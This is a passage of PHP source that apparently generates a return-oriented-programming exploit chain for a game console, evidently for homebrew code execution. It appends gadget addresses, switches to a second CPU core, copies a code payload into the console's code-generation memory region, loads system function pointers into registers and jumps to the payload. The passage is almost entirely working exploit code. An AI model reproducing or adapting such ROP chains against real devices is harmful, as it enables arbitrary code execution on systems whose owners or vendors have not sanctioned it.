, 0x2); ropchain_appendu32($ROP_OSYieldThread);//r28 ropchain_appendu32(0x0);//r29 ropchain_appendu32(0x0);//r30 ropchain_appendu32(0x0);//r31 ropchain_appendu32(0x0); ropchain_appendu32($ROP_CALLR28_POP_R28_TO_R31); ropchain_appendu32(0x0);//r28 ropchain_appendu32(0x0);//r29 ropchain_appendu32(0x0);//r30 ropchain_appendu32(0x0);//r31 ropchain_appendu32(0x0); } function generateropchain_type1() { global $ROP_OSFatal, $ROP_Exit, $ROP_OSDynLoad_Acquire, $ROP_OSDynLoad_FindExport, $ROP_os_snprintf; $payload_size = 0x20000;//Doesn't really matter if the actual payload data size in memory is smaller than this or not. $payload_srcaddr = 0x14572D28-0x5000; $codegen_addr = 0x01800000; //ropgen_colorfill(0x1, 0xff, 0xff, 0x0, 0xff);//Color-fill the gamepad screen with yellow. //ropchain_appendu32(0x80808080);//Trigger a crash. //ropgen_OSFatal($codepayload_srcaddr);//OSFatal(); ropgen_switchto_core1(); ropgen_copycodebin_to_codegen($codegen_addr, $payload_srcaddr, $payload_size); //ropgen_colorfill(0x1, 0xff, 0xff, 0xff, 0xff);//Color-fill the gamepad screen with white. $regs = array(); $regs[24 - 24] = $ROP_OSFatal;//r24 $regs[25 - 24] = $ROP_Exit;//r25 $regs[26 - 24] = $ROP_OSDynLoad_Acquire;//r26 $regs[27 - 24] = $ROP_OSDynLoad_FindExport;//r27 $regs[28 - 24] = $ROP_os_snprintf;//r28 $regs[29 - 24] = 0x0;//r29 $regs[30 - 24] = 0x0;//r30 $regs[31 - 24] = 0x0;//r31 ropgen_pop_r24_to_r31($regs);//Setup r24..r31 at the time of payload entry. Basically a "paramblk" in the form of registers, since this is the only available way to do this with the ROP-gadgets currently used by this codebase. ropgen_Exit();//Exit here since the below causes a crash. ropchain_appendu32($codegen_addr);//Jump to the codegen area where the payload was written. } ?>